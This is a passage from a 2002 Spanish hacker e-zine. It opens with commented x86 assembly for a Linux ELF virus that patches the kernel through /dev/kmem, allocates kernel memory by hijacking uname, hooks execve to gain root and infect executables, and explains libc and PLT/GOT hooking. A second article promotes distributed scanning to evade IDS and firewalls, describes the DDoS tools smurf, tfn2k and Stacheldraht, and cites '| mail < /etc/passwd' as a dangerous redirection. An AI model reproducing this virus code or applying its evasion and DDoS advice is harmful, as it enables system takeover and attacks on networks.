cmp $0x667,%ebx #el virus en memoria le devolvera el valor 0x667
jnz goresident1
jmp tmpend
goresident1:
movl $125,%eax #Este codigo tiene bastante importancia,
movl $0x8000000,%ebx #se llama a la llamada mprotect para desproteger
movl $0x4000,%ecx #las paginas de memoria del virus. Esto se hace
movl $7,%edx #Para no tener que modificar el archivo elf para
int $0x80 #poner los datos del virus en una seccion de datos
#y el codigo en una de codigo.
#Asi se pude poner todo en una misma pagina ,aunque
#el virus resida en una seccion de codigo (solo lectura)
#Y en el momento de ejecucion se desprotege.

nota: Solo es posible ejecutar mprotect dentro de la memoria perprocess

Lo primero que va intentar hacer es reservar memoria del kernel para
copiar el codigo del virus alli, y luego modificara la entrada de la
sys_call_table correspondiente a la execve para poner en su lugar un puntero
a una rutina interceptora de esa llamada.
Para reservar memoria dentro del kernel solo es posible con llamadas internas
del kernel como kmalloc. Para poder ejecutarla el virus sobreescribe el codigo
de la llamada a sistema uname utilizando /dev/kmem , y realiza una llamada a
uname mediante la int $0x80 cuando regresa de la interrupcion , ya habra ejecutado
la rutina que pusimos alli que se encarga de llamar a kmalloc para
reservar memoria.
Pero antes de todo eso, necesita saber la direccion de uname. Para ello el
virus recurre a la llamada a sistema get_kernel_syms, con ella puede obtener
una lista con las funciones internas de Linux y tambien punteros a estructuras
como la sys_call_table que es una array en memoria con punteros a las funciones accesibles
mediante la int $0x80 como la funcion uname.

movl $130,%eax # En primer lugar obtengo el numero de symbolos
movl $0,%ebx # pasando el ebx el valor 0
int $0x80 # En eax devolvera el numero de symbolos

shll $6,%eax # Realizo un desplazamiento de bits hacia la izquierda
# 6 posiciones.Esto es equivalente a multiplicar el numero
# de simbolos por 64 que son los bytes que ocupa cada entrada
# devuelta por get_kernel_syms.
# Se obtiene la misma informacion que hay en el archivo
# /proc/ksyms.
# 4 bytes con una direccion del kernel y 60 bytes para el nombre
# del symbolo

subl %eax,%esp # Reservo espacio en la pila (el puntero de pila es %esp)
movl %esp,%esi # antes de la llamada
# El registro %esi apuntara a la estructura en memoria
pushl %eax
movl %esi,%ebx # obtengo los simbolos del kernel
movl $130,%eax
int $0x80
pushl %esi
nextsym1: # Aqui escaneo la tabla de simbolos en memoria en busca
movl $thissym1,%edi # de la cadena current (en ASCII con 0 al final)
push %esi
addl $4,%esi
cmpb $95,(%esi)
jnz notuscore
incl %esi
notuscore:
cmpsl
cmpsl
pop %esi
jz foundsym1
addl $64,%esi #Fijaos como incrementa de 64 en 64 para realizar las
jmp nextsym1 #comparaciones
foundsym1:
movl (%esi),%esi
movl %esi,current #Guardo el resultado de la busqueda en la variable
popl %esi #current

pushl %esi
nextsym2: #Busco tambien el simbolo kmalloc
movl $thissym2,%edi #de la misma manera
push %esi
addl $4,%esi
cmpsl
cmpsl
pop %esi
jz foundsym2
addl $64,%esi
jmp nextsym2
foundsym2:
movl (%esi),%esi
movl %esi,kmalloc #Guardo el resultado de la busqueda en la variable
popl %esi #kmalloc

xorl %ecx,%ecx
nextsym: # find symbol
movl $thissym,%edi #Y ahora la direccion de sys_call_table
movb $15,%cl
push %esi
addl $4,%esi
rep
cmpsb
pop %esi
jz foundsym
addl $64,%esi
jmp nextsym
foundsym:
movl (%esi),%esi
pop %eax
addl %eax,%esp

movl %esi,syscalltable #Guarda en la variable syscalltable la direccion
xorl %edi,%edi #encontrada


En este punto el virus ya sabe la posicion en memoria de la sys_call_table


opendevkmem:
movl $devkmem,%ebx #Abre el archivo /dev/kmem
movl $2,%ecx #en ebx un puntero al string con el nombre
call openfile #y en ecx el modo ($2 lectura/escritura)
orl %eax,%eax
js haxorroot #Si no se pudo abrir se salta a una rutina
movl %eax,%ebx #para conseguir acceso a /dev/kmem mediante
#exploits

#Fijaos que en %esi seguimos teniendo la direccion
#de la sys_call_table , si a esta le sumamos
#44 obtendremos un puntero a la direccion donde
#reside el puntero a execve dentro de sys_call_table

leal 44(%esi),%ecx # lseek a sys_call_table[SYS_execve]
call seekfilestart

movl $orgexecve,%ecx # leo el valor del puntero
movl $4,%edx # 4 bytes
call readfile

leal 488(%esi),%ecx # Ahora me muevo a la entrada correspondiente
call seekfilestart # a uname dentro de sys_call_table

movl $taskptr,%ecx # Y leo el valor de sys_call_table[SYS_uname]
movl $4,%edx # y lo guardo en la variable taskptr
call readfile

movl taskptr,%ecx # Me muevo al codigo donde esta la funcion
call seekfilestart # uname en memoria

subl $endhookspace-hookspace,%esp #Reservo espacio en la pila para el codigo
#que voy a sobreescribir
movl %esp,%ecx #Leo el codigo que voy a sobreescribir de uname
movl $endhookspace-hookspace,%edx #sobre la pila
call readfile

movl taskptr,%ecx # Voy otra vez al comienzo de la rutina uname
call seekfilestart

movl filesize,%eax
addl $virend-vircode,%eax
movl %eax,virendvircodefilesize

# Ahora escribo la rutina para reservar memoria sobre el codigo
# de uname

movl $hookspace,%ecx
movl $endhookspace-hookspace,%edx
call writefile

movl $122,%eax # Hago una llamada a uname , pero lo que
int $0x80 # realmente se ejecutara sera nuestra rutina
movl %eax,codeto # En eax devolvera la direccion que hemos reservado

movl taskptr,%ecx # Me muevo otra vez al codigo de uname
call seekfilestart

movl %esp,%ecx # Y restauro el codigo original de uname
movl $endhookspace-hookspace,%edx # que teniamos temporalmente sobre la pila
call writefile # en su lugar original

addl $endhookspace-hookspace,%esp # Elimino la memoria que habiamos reservado
# en la pila
subl $aftreturn-vircode,orgexecve

movl codeto,%ecx # Muevo ahora el puntero al comienzo de
subl %ecx,orgexecve # la zona en memoria que hemos reservado
call seekfilestart

movl $vircode,%ecx # Y escribo el codigo del virus en ella
movl $virend-vircode,%edx
call writefile

leal 44(%esi),%ecx # Busco la entrada de la sys_call_table
call seekfilestart # relativa a execve y modifico el puntero
# original por un puntero a nuestra funcion
addl $newexecve-vircode,codeto

movl $codeto,%ecx # Escribo el nuevo puntero en la sys_call_table
movl $4,%edx
call writefile

call closefile # cierro /dev/kmem

tmpend:

call exit

openfile: #llamadas a sistema realizadas mediante la int $0x80
movl $5,%eax #la funcion a realizar se pasa en el registro %eax
int $0x80 #ver /usr/include/sys/syscall.h para un listado
ret #de las funciones.

closefile:
movl $6,%eax
int $0x80
ret

readfile:
movl $3,%eax
int $0x80
ret

writefile:
movl $4,%eax
int $0x80
ret

seekfilestart:
movl $19,%eax
xorl %edx,%edx
int $0x80
ret

rmfile:
movl $10,%eax
int $0x80
ret


exit:
xorl %eax,%eax
incl %eax
int $0x80


thissym: #Aqui estan definidas algunas variables
.string "sys_call_table" #Fijaos que estan en la misma seccion que el codigo
#de ahi la utilizacion de mprotect.
thissym1:
.string "current"

thissym2:
.string "kmalloc"

devkmem:
.string "/dev/kmem"

e_entry:
.long 0x666

infect: # Rutina de infeccion



# Aqui esta la rutina de infeccion de archivo ELF
# Consiste en generar un archivo temporar con el codigo del virus
# y ejecutarlo mediante execve.

ret

.global newexecve
newexecve:
pushl %ebp
movl %esp,%ebp #en la pila estaran todos los registro
pushl %ebx #del procesador ten en cuenta que estamos
movl 8(%ebp),%ebx #dentro de una int $0x80
pushal
cmpl $0x666,%ebx # Si nos han pasado un 0x666 en ebx
jnz notserv # devolveremos 0x667 ya que es la marca de
popal # residencia.
incl 8(%ebp)
popl

  
%ebx
popl %ebp
ret
notserv:
call ring0recalc # Calculo el desplazamiento de direcciones
ring0recalc: # de memoria
popl %edi
subl $ring0recalc,%edi
movl syscalltable(%edi),%ebp # En %ebp la direccion de la syscalltable
call saveuids
call makeroot
call infect # Infecto el archivo
call loaduids
hookoff:
popal
popl %ebx
popl %ebp
.byte 0xe9 # Voy a la funcion original execve
orgexecve: # 0xe9 es el opcode de un jmp
.long 0 # y los 4 bytes siguientes son los 4 bytes
aftreturn: # de la variable orgexecve
# el equivalente seria jmp orgexecve
syscalltable:
.long 0

current:
.long 0

.global hookspace #Esta rutina es la que se encarga de reservar memoria
hookspace: #Es la que sobreescribe el virus sobre la llamada
push %ebp #uname.
pushl %ebx
pushl %ecx
pushl %edx
movl %esp,%ebp

pushl $3
.byte 0x68
virendvircodefilesize:
.long 0
.byte 0xb8 # movl $xxx,%eax ;0xb8 es el opcode de un movl y los 4 bytes
kmalloc: # siguientes corresponden a la variable kmalloc.
.long 0 # con lo que al encontrar kmalloc en memoria se generara un
call %eax # movl $kmalloc,%eax
# y con el call %eax se salta a kmalloc para reservar memoria

movl %ebp,%esp
popl %edx
popl %ecx
popl %ebx
popl %ebp
ret

.global endhookspace
endhookspace:
.global virend
virend:








3.2 Residencia Global en Ring3.
------------------------------

La base de este metodo de residencia consiste en la intercepcion de rutinas
en Ring3 y que son ejecutadas por todos los procesos.
El codigo de Ring3 que pueden ejecutar todos los programas son las librerias.
en Windows las denomidas DLL.
Windows por ejemplo distribuye su memoria virtual en 4 arenas, cada arena tiene
una utildad diferente y contiene diferente codigo y datos.
Hay una arena dedicada al DOS que va de la direccion virtual 0 a 04000000
Otra dedicada a la memoria perprocess que va de 04000000 a 80000000 ,otra
que maneja la memoria compartida por todos los procesos de 80000000 a C0000000
y otra dedicada a VXD es decir codigo del kernel que se ejecuta en Ring0
que va de C0000000 a FFFFFFFF.
La libreria mas importante de windows es el Kernel32.dll y en ella residen las
llamadas de creaccion de archivos, gestion de memoria etc. (en linux el equivalente
podria ser la libreria libc).
Los archivos en vez de utilizar directamente trap gates para realizar las llamadas
a codigo de ring0 normalemente utilizan un mecanismo de linkado dinamico para
saltar a codigo de las librerias (codigo de ring3) que realicen el salto a
Ring0 para obtener el servicio del Kernel deseado.
Windows 95 cometio un gran fallo de diseño al cargar la mayoria de las librerias
en la arena de memoria compartida (el Kernel32.dll se carga en la direccion
0BFF70000). Localizar las librerias importantes en una arena compartida tiene la
ventaja de que el sistema no tiene que cargar la libreria con cada archivo que
importe llamadas de esa libreria, ya que esta se encuentra en la memoria de cada
proceso.
Este hecho hace tambien posible la intercepcion de llamadas a
sistema sin necesidad de saltar a Ring0. Virus como el Win95.HPS o el win95.K32
utilizan este hecho para conseguir residencia global sin saltar a ring0.
De todas formas esto no es tan facil como parece en Win95 ya que aunque el
kernel no tiene proteccion por paginacion las librerias y los archivos tienen
proteccion por paginacion en secciones de codigo. (para gestionar intentos de
escritura en secciones de codigo). De todas formas estas se pueden desproteger
facilmente utilizando llamadas a VXD como _pagemodifypermissions o llamadas
a libreria como memoryprotect.

En linux se podria intentar interceptar funciones como execve de la libreria
libc situada a partir de la direccion virtual 0x40000000.
Intentos por parte de un programa de escribir en secciones de codigo de esa
memoria provocarian fallos de pagina, ya que hay proteccion por paginacion
en secciones de codigo, igual que en secciones de codigo de ejecutables
normales. Pero la funcion mprotect funciona tambien para el codigo de librerias
ya que estas se situan en la memoria perprocess por debajo de 0xC0000000.
Codigo como este permite desproteger paginas de librerias como libc.
Como vimos en la introduccion la direccion de la funcion getpid de libc
se carga en la direccion 0x40073000 en mi version de linux, por lo que sabemos
que se es una seccion de codigo y por lo tanto estara protegida contra escritura.

[section .text]
[extern puts]
[global main]

main: pusha

mov eax,0125
mov ebx,0x40073000
mov ecx,02000h
mov edx,07h
int 80h ;llamada a mprotect

mov ebp,0x40073000
xor eax,eax ;pongo eax a 0
mov dword [ebp],eax ;escribo el valor que haya en eax en la direccion
popa ;0x40073000

ret

Notese que este mismo programa sin utilizar mprotect produciria un error de
proteccion general.
Ahora bien probemos de ejecutar simultaneamente 2 copias del programa.
La primera copia se encarga de desprotejer una pagina de libc y modificar
los 4 primeros bytes de la llamada getpid poniendolos a 0.
La segunda copia se para con el gdb en la posicion main para comprobar que
valor hay en los 4 primeros bytes de la direccion 0x40073000 .
El valor no sera 0 sino los 4 bytes originales de la libreria.

Esto es debido a que linux no carga sus librerias en arenas compartidas sino
que las carga dentro de la memoria perprocess.
Pero si la memoria perprocess es diferente para cada proceso ¿las librerias
se cargan cada vez con cada ejecutable, ocupando memoria innecesaria?
La respuesta es No, la solucion esta en el mecanismo de Copy-on-Write
que permite la comparticion de paginas de memoria que sean de lectura/escritura
entre procesos diferentes ,estando estas paginas en memoria del proceso.
Cuando el programa se carga en memoria en la direccion 0x40073000 estara la
pagina de memoria del programa padre y al intentar escribir en ella se producira
una excepcion en la que el SO verificara si la pagina es de lectura/escritura o
solo lectura. Si es de solo lectura se producira un fallo de pagina y si es de
lectura/escritura el SO generara una copia de esa pagina para el proceso hijo
de modo que cuando este escriba en ella realmente escribira en una pagina propia
y no en la pagina del padre.
Este metodo permite la comparticion de librerias en memoria manteniendo la seguridad
,evitando intentos indeseados de residencia global.
Linux implementa memoria compartida ,pero es unicamente utilizado para mecanismos
de comunicacion entre procesos (IPC).


3.3 Residencia Perprocess
---------------------------

Como explique en la seccion de infeccion de archivos ELF, el format ELF es un
formato bastante potente y entre sus funcionalidades mas importantes reside el
lincado dinamico de funciones.

Los ejecutables de linux realmente utilizan bastante poco la int 0x80 ,dejan
esa tarea a librerias como libc.Mediante el uso de librerias se ahorra espacio
en disco ya que no se tiene que insertar ese codigo en el archivo cada vez.
Pero esas librerias puden cargarse en cualquier
direccion dentro de la memoria perprocess. Eso hace necesario alguna clase de
mecanismo que permita realizar llamadas a funciones en archivos o librerias
diferentes, ese mecanismo es el linkado dinamico.
Hay 2 secciones principales que se encargan de realizar el linkado
dinamico de funciones. La seccion .plt (procedure linkage table) y la seccion
.got (global offset table).
El sistema de linkado dinamico de Linux tiene ventajas sobre otros
sitemas.El formato de archivo PE de windows por ejemplo posee secciones especificas
para realizar el linkado como la Import Table,en ella hay tantas entradas como
funciones importadas de librerias y esas referencias a librerias se resuelven
integramente por el SO en el momento de Carga.
Linux en cambio no las resuelve en el momento da Carga, sino que espera
a la primera ejecucion de una llamada a sistema para resolver la referencia a esa
funcion. Con la primera ejecucion el sistema otorga el control al linkador dinamico
que es una funcion dentro de la libreria que queremos llamar, entonces el linkador
resuelve la referencia y pone la direccion absoluta de la llamada a sistema en una
tabla en memoria del ejecutable llamada .got, de modo que las siguientes llamadas
a esa funcion ya saltaran inmediatamente a la funcion sin tener que llamar al
linkador dinamico.
Con esto mejoramos la productividad del sistema evitando tener que resolver
referencia a memoria que quizas el ejecutable no vaya a utilizar nunca.
Si desensamblamos el siguiente ejecutable...


#include <unistd.h>
void main()
{
getpid(); /* Primera llamada a getpid */
getpid(); /* Segunda llamada a getpid */
}

Obtenemos el siguiente codigo en ensamblador

0x8048480 <main>: pushl %ebp
0x8048481 <main+1>: movl %esp,%ebp
0x8048483 <main+3>: call 0x8048378 <getpid>
0x8048488 <main+8>: call 0x8048378 <getpid>
0x804848d <main+13>: movl %ebp,%esp
0x804848f <main+15>: pop %ebp
0x8048490 <main+16>: ret


Las llamadas a GETPID se formaran como un salto a una entrada en la seccion .plt
como vemos mediante el comando "info file" la seccion .plt estara mapeada
de 0x08048368 a 0x080483c8.
Si seguimos traceando dentro del codigo de la plt veremos el siguiente codigo.

0x8048378 <getpid>: jmp *0x80494e8
0x804837e <getpid+6>: push $0x0
0x8048383 <getpid+11>: jmp 0x8048368 <_init+8>

Esta sera la estructura basica de una entrada en la .plt. El primer jmp sera un salto a la direccion
contenida en 0x80494e8. Esa direccion forma parte de la .got table y en el momento de carga del
ejecutable contendra el valor 0x804837e

(gdb)x 0x80494e8
0x80494e8 <__DTOR_END__+16>: 0x0804837e

Como es la primera vez que llamamos a getpid en el ejecutable , este tendra que realizar un salto
al linkador dinamico para obtener la direccion de la funcion en la libreria.
Para eso realiza un push &0x0 donde 0x0 es un puntero dentro de la reloc area y que especifica
al linkador dinamico cual es la entrada en la .got que tiene que modificar.
despues realiza un jmp 0x8048368, donde 0x8048368 es la direccion de la primera entrada
de la seccion .plt.
La primera entrada de la .plt es especial ya que se utiliza unicamente para hacer llamadas
al linkador dinamico.
Si seguimos debugeando veremos la estructura de la primera entrada del .plt.

0x8048368 <_init+8>: pushl 0x80494e0
0x804836e <_init+14>: jmp *0x80494e4

primero pone en la pila el valor 0x80494e0 que corresponde a la segunda entrada
de la seccion .got, y luego salta a la direccion contenida en la posicion
0x80494e4 (la tercera entrada del .got).
Las tres primeras entradas del .got no contienen punteros a la .plt en el momento de
carga sino que son entradas especiales. La primera contiene un puntero a la seccion
.dynamic y la tercera se rellena con un puntero a la posicion del linkador dinamico.

(gdb)x 0x80494e4
0x80494e4<__DTOR_END__+12>: 0x40004180

Por lo tanto si seguimos traceando veremos el codigo del linkador dinamico, ya en
el espacio de memoria de la libreria.
Cuando el programa retorne de la llamada a sistema, en la seccion .got correspondiente
a getpid , el linkador habra puesto la direccion absoluta de la funcion.
Si seguimos traceando ya en la segunda llamada a getpid podemos ver el nuevo
valor en la seccion .got

(gdb)x 0x80494e8
0x80494e8 <__DTOR_END__+16>: 0x40073000

con lo que con la instruccion jmp *0x80494e8 saltaremos directamente a la funcion
sin necesidad de llamar al linkador .

Este mecanismo permite la intercepcion de llamadas a sistema dentro de la memoria
del propio proceso, es lo que se denomina residencia perprocess.
Un virus con este mecanismo puede interceptar por ejemplo la llamada a execve
modificando la entrada de la .plt correspondiente a esa llamada, sutituyendo
el jmp *direccion_en_el_got por un jmp direccion_del_virus.
De todas formas el virus al ejecutarse en ring3 tendra las eternas limitaciones
en los accesos a ficheros y unicamente podra infectar archivos a los que el
usuario infectado pueda acceder.
Otra limitacion es que solo intercepta llamadas a sistema en archivos contaminados.
archivos limpios ejecutandose concurrentemente no veran sus llamadas interceptadas
por el virus.
De todas formas las posibilidades de este metodo son bastante impresionantes
en el caso de que un interprete de comandos como el bash o el sh consiga ser
infectado , entonces al ser comandos ejecutados por todos los usuarios , la
intercepcion de execve de forma perprocess podria ser tan efectiva como una
residencia global.



*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 6 - Metodologia distribuida. }{ Tahum }
|-----------------------------------------------------------------------|




" ... Si es peque~a la inteligencia del animal considerado
individualmente, muy vasta es la inteligencia de la que ya
podriamos definir como alma de grupo. O sea, que el animal
no seria otra cosa que miembro fisico de una mas vasta
conciencia e inteligencia que subsistiria en regiones
supersensibles. "

Gastoni de Boni



Indice:


1 Prologo
2 Representacion de una idea
3 Posibilidades de la metodologia distribuida
4 Ataques distribuidos
4.1 Smurf
4.2 tfn2k
4.3 Stacheldraht
5 El muro: Los IDS/NIDS
5.1 Evasion
5.2 Ataque
5.3 Medidas a tomar cuando se detecta una incidencia
6 Bibliografia




1. Prologo

" El pasado es un prologo. "
Whilliam Shakespeare


Bienvenido, lector.

Cuando hablamos de metodologia distribuida, nos referimos a la ejecucion
de una idea de forma conjunta entre dos o mas elementos. En el terreno de la
informatica, ejemplos de la metodologia distribuida serian el proyecto SETI
at Home, el RC5... entre otros muchos.

Esta tecnica de programacion es util para conseguir mejor rendimiento en
distintas aplicaciones, logrando una capacidad de proceso multiplicada por
el numero de maquinas que participan en el proceso. Seguramente al lector le
sonara familiar aquello de "Uno para todos, todos para uno". Si, exacto, eso
es la metodologia distribuida.

Lo aqui explicado puede ser aplicado a infinidad de cosas, poniendo por
caso en lo que a roles 'Underground' se refiere al Hack, Crack, Virii, e
incluso Phreak, por que no. Como resulta obvio, en este documento solo
seran tratadas algunas de las posibilidades que otorga la metodologia
distribuida, siendo imposible el abarcarlas todas, y tratando exclusivamente
las que me parecieron mas interesantes de todas las que por mi cabeza
pasaron.

Los conocimientos que se requieren para sacar provecho a lo explicado en
este documento no son en absoluto elevados. Sin embargo, si no posees estos
conocimientos no te desanimes, siempre podras pasar por el apendice, donde
podras encontrar documentos que te seran de ayuda para entender lo aqui
expuesto.

Creo necesario remarcar que la informacion aqui expuesta no ha nacido ni
por asomo en mi cabeza, sino que es fruto de varios documentos, los cuales
se encuentran en el apendice, mas algunos experimentos que el autor ha
realizado por cuenta propia. Recomiendo al lector de forma encarecida la
lectura de los documentos citados en el apendice.

Por ultimo antes de empezar, solo me queda desear que este documento le
sea de provecho, y que lo disfrute leyendo tanto como yo escribiendolo.




2. Representacion de una idea

" El aire hace al aguila. "
Johan Wolfgang Goethe


Partimos de la idea de que cuantos mas, mejor. En esta frase se resume el
porque del uso de la metodologia distribuida, la cual permite realizar, como
minimo, cualquier tarea a una velocidad superior. Conocido es tambien que la
metodologia distribuida sirve para evadir IDS / NIDS.

Muchos proyectos de investigacion cientifica han visto en la metodologia
distribuida un gran aliado a tener en cuenta. Sin embargo no todos los usos
que se le puedan dar son constructivos. Ejemplos de esto serian las
denegaciones de servicio distribuidas, como los smurfs, y demas.

Al dia de hoy, ya son muchos los proyectos que sacan provecho de la
metodologia distribuida, y que de otra forma no tendrian razon de ser.
Tambien son considerables las herramientas que se aprovechan de esta tecnica
para mejorar su rendimiento, como la herramienta L0pht Crack 3, entre otras,
y todo apunta a que el numero de estas seguira creciendo de forma incesante.

Pero, cuando se popularizo esta tecnica? de donde viene?... repasemos un
poco su historia, que no vendra mal.

La idea de usar CPUs ajenas de forma conjunta para cumplir una tarea es
algo que se remonta a principios de los a~os 70, donde estaban brotando las
primeras ideas y los primeros programas que sacaban provecho referentes a
este novedosa tecnica, los cuales se llamaron 'Creeper' y 'Reaper-ran', y
funcionaban a traves de ARPAnet.

Tres a~os mas tarde, en el centro de investigacion de Xerox en Palo Alto
(PARC, Palo Alto Research enter), al instalarse la primera Ethernet, un
gusano llamado Cruiser se adue~aba de las CPU ajenas que estaban sin uso,
usandolas. Esto fue obra de John F. Shoch y Jon A. Hupp, que le llamaron
precisamente 'worm', inspirados en la novela de John Brunner: "Showckwave
rider"
.

Por las mismas fechas, Richard Crandall comenzo a jugar con esta tecnica
creando el programa Zilla, que realizaba grandes operaciones matematicas de
forma distribuida. Dicho software gano en 1991 el premio a la ciencia del
Computerworld.

Sin embargo la metodologia distribuida se llego a aprovechar realmente en
el a~o 1990, con dos proyectos sumamente ambiciosos. El primero se trataba
de distributed.net, un site en el que se proponia la colaboracion de varias
CPUs al proceso de crackear claves de cifrado. El segundo se trataba del ya
conocido SETI @ Home, que pedia la participacion del usuario en la busqueda
de vida extraterrestre.

Actualmente ya son varios los proyectos que sacan partido de esta
metodologia conjunta de trabajo, entre los que se encuentran el proyecto
Think, que pretende ayudar a encontrar una solucion para el cancer, buscando
interacciones positivas entre moleculas y la proteina que podria curarlo.

Que retos nos deparara el futuro? solo cabe esperar, pero mientras tanto
no estaria de mas colaborar en estos proyectos, aprovechando nuestra CPU al
maximo.





3. Posibilidades de la metodologia distribuida

" Eso que consideras la cima es solo un pelda~o. "
Luci Anneu Seneca


Ciertamente es dificil -imposible- el describir todas las aplicaciones
que se le pueden dar a la metodologia distribuida, por eso a continuacion
solo se exponen algunas de estas, quiza las mas obvias.


* Aplicaciones de seguridad informatica
-------------------------------------

- Escaneadores de puertos -

Ventajas?

1. Se consigue mayor velocidad.
2. Se consigue la posibilidad de evadir IDS / NIDS (Sistemas de
deteccion de intrusos, Intrusion Detecting Systems, y Sistemas de
deteccion de intrusos a nivel de red, Network Intrusion Detecting
Systems).
3. Se consigue el poder evadir reglas de cortafuegos que denieguen los
paquetes que provengan de una determinada IP, al usar diferentes
sistemas para ello.
4. Se logra confundir al administrador, al provenir la exploracion de
diferentes sitios, y no tener un claro conocimiento sobre quien es
el atacante.

Se ha hecho algo asi ya?

Si, pero son meras pruebas de concepto, no han sacado de si todo lo que
podrian. Campo abierto para desarrolladores con nuevas ideas.


- Crackeador de passwords -

Ventajas?

1. Se consigue mayor rapidez, ataques incrementales son factibles.

Se ha hecho algo asi ya?

Si, la gente de L0pht ya a~adido esta caracteristica a la nueva version
de su L0pht Crack, la 3.0. Tambien se encuentra incorporada dicha
funcion en algunos de los crackeadores mas famosos en *n?x.


- Sniffers -

Ventajas?

1. Se obtiene mayor rapidez en la obtencion de resultados.
2. No es necesario volver a visitar la maquina para recoger los logs.

Se ha hecho algo asi ya?

No (publico, del que tenga noticia).




* Aplicaciones de indole de investigacion
---------------------------------------

- Seti @ Home -

El proyecto Seti @ Home trata de encontrar vida inteligente por todo el
universo. Es uno de los proyectos mas extravagantes disponibles hoy por
hoy.

Sitio web: setiathome.ssl.berkeley.edu



- Rc5 -

Este proyecto (podriamos llamarlo tambien concurso) pretende acabar
con una ley vigente en los Estados Unidos, que tiene prohibido que se
usen claves de cifrado con mas de 64 bytes. Logrando romper esta clave,
se demostrara a quien mueva los hilos que se deben adoptar estandares
mas seguros, o lo que es mejor, permitir el libre uso de llaves de
cifrado, del tama~o que se desee.

Sitio web: www.distributed.net/rc5/



- THINK -

Quiza el proyecto mas util. Consiste en una busqueda de la proteina que
ayude erradicar el cancer, con el fin de poder crear una vacuna.

Sitio web: members.ud.com/vypc/cancer/



4. Ataques distribuidos

" Unidos resistiremos, divididos caeremos. "
Aesop

Veamos la clase de ataques distribuidos mas eficaces disponibles.



4.1 Smurf

Este popular ataque se aprovecha del efecto amplificador producido al
realizar una peticion de ping a una determinada red, en la cual responderan
todos los componentes de dicha red. Las ventajas son obvias, puedes mandar
un paquete con la direccion ip origen modificada a una red 'broadcast' con
100 terminales. Tendras 100 reply, o mejor dicho, los tendra aquel que tenga
asignada la IP que falsificaste. De esta forma, redes T3 pueden ser tumbadas
si se tienen listas de broadcast que cuenten con muchos terminales.

Dicha forma de denegacion de servicio tiene un clonico que se basa en UDP
en lugar de ICMP, llamado fraggle. El funcionamiento es similar al de smurf.

Debido al descuido de muchos administradores de parchear sus sistemas con
el fin de que no respondan a un cierto tipo de paquetes, es muy facil hoy en
dia el encontrar cantidad de redes broadcast vulnerables.



4.2 tfn2k

De la mano de Mixter, de lo mas completito en denegacion de servicio. Es
capaz de usar el metodo seguido por Smurf, pero su potencia radica en la
capacidad de usar maquinas 'zombies' (maquinas que han ejecutado el cliente
de tfn2k) como agentes, y controlarlos. La magnitud del ataque resulta
proporcional al numero de agentes usados, pudiendo llegar a ser devastador.
Asimismo, tfn2k puede realizar ataques de Synflood, ademas de modificar tu
ip al atacar, de forma que no quede rastro alguno. Trae algunas funciones
adicionales interesantes, como el cifrado de los comandos enviados, etc.



4.3 Stacheldraht

La herramienta mas completa, sin duda. Combina caracteristicas de TFC (la
version anterior a TFN2K) y Trin00 (Otra herramienta de DoS algo anticuada),
ocultando la direccion del atacante y casi garantizando por completo su
anonimato gracias a su modelo de capas de cliente, servidor y agente. Ademas
este programa es capaz de detectar si la maquina atacada tiene un filtrado
de denegaciones de servicio antiguo, para aprovecharse de ello.

Seguro que os suenan los ataques por denegacion de servicio a Yahoo!,
Amazon, eBuy, y el FBI, asi como el nick de mafiaboy. Ahora ya sabeis que
herramienta se uso para dicho ataque.




5. El muro: Los IDS/NIDS

" Dijo el lobo a la doncella:
Si me das tu sombra,
No me das nada, sino todo.
Si te doy mi carne y mi pensamiento,
No te doy todo, sino nada.
Toma, pues, la caratula de mi reloj,
Que eso soy yo,
No los numeros... y si el tictac."

Armando Carranza

Como ya se ha comentado antes, la metodologia distribuida es utilizada
tambien como medida para evadir IDS. Pero para entender esto, quiza haga
falta hacer una breve explicacion de que son los llamados IDS y NIDS.

Los IDS son sistemas pensados para detectar los posibles intentos de
intrusion en una maquina por personal no autorizado. Un NIDS es eso mismo
pero realiza comprobaciones a nivel de red, por lo que es mas completo.

Su forma de actuar es sencilla. Normalmente registran los programas que
un determinado usuario utiliza, asi como la memoria del sistema que consume,
y demas recursos que el usuario usa habitualmente. Cuando se percibe que el
susodicho usuario esta consumiento mas memoria de lo habitual, o esta
ejecutando programas con nombres raros, programas de red, etc., el IDS
activa su alarma de cara al administrador, el cual sera informado de los
hechos. Estos sistemas de deteccion de intrusiones no son los que nos van a
ocasionar dolores de cabeza, ya que se encarga de hacer comprobaciones solo
en local, y eso por ahora no nos afecta.

Sin embargo los NIDS si que suponen una barrera inicial, ya que vigilan
todo lo referente al trafico de la red local, haciendo un filtrado de los
paquetes entrantes y/o salientes regidos por unos patrones que se buscan en
ellos. La reaccion de estos al detectar escaneos de puertos, ataques de
denegacion de servicio y demases, pasa desde el a~adir a estos en una lista,
y a partir de ahi comunicarlo al administrador el evento, hasta el efectuar
alguna accion en contra del atacante. Las posibilidades son infinitas.

Ya que estos son los sistemas de deteccion de intrusos que tendremos que
burlar, vamos a centrarnos un poquito en ellos, explicando como poder evadir
su seguridad.

Los NIDS estan preparados para dar se~al de alarma ante multiples
situaciones, entre las que se encuentran intentos de desbordamiento de
buffer, redirecciones peligrosas (por ej. | mail < /etc/passwd), Entrada de
datos por parte del usuario sin filtrar y condiciones de carrera (Race
Conditions). Sin embargo estas acciones en si no se ven afavorecidas por su
ejecucion distribuida, y no merecen ser tratados aqui. Lo que si detectan
estas herramientas son los escaneos, y en cierto grado tambien detectan los
escaneos distribuidos.

Pero... como lo hacen? cual es su forma de actuar interna?... examinemos
su arquitectura.

Estos programas se encuentran a la escucha de posibles incidentes en la
red en la que se encuentran, con patrones regidos por el sentido comun del
administrador. Por ejemplo, si se percibe actividad en las CPU de las
workstations de maquinas que a esas horas deberian estar inactivas, se tiene
un indicio de intrusion. Si se perciben intentos fallidos de inicio de
sesion contra servicios de escucha de red, ya sea POP3, Telnet, SMTP, etc.
ya hemos despertado al NIDS. Y este registrara de forma fiable toda esta
informacion en un log que sera comunicado al administrador en su proxima
sesion, o incluso por SMS u otro medio.

Paquetes mal formados o maliciosos no pasan desapercibidos ante los NIDS,
que analizan todo paquete entrante, buscando irregularidades en el. Por
ejemplo, un software de red que tuviera algun defecto en su implantacion que
permitiera ser atacado por denegaciones de servicio, seria inmune a dichos
ataques ya que el NIDS percibiria o bien el envio masivo de paquetes o bien
un paquete que no sigue las normas del RFC correspondiente. No todos los
ataques DoS son obvios, y como consiguiente no todos seran detectados, cabe
decir. Envios de paquetes para extraer huellas digitales (con el fin de
averiguar el tipo de software/SO que usa) tambien seran reconocidos, ya que
estos casi siempre rompen el esquema definido por el RFC correspondiente.
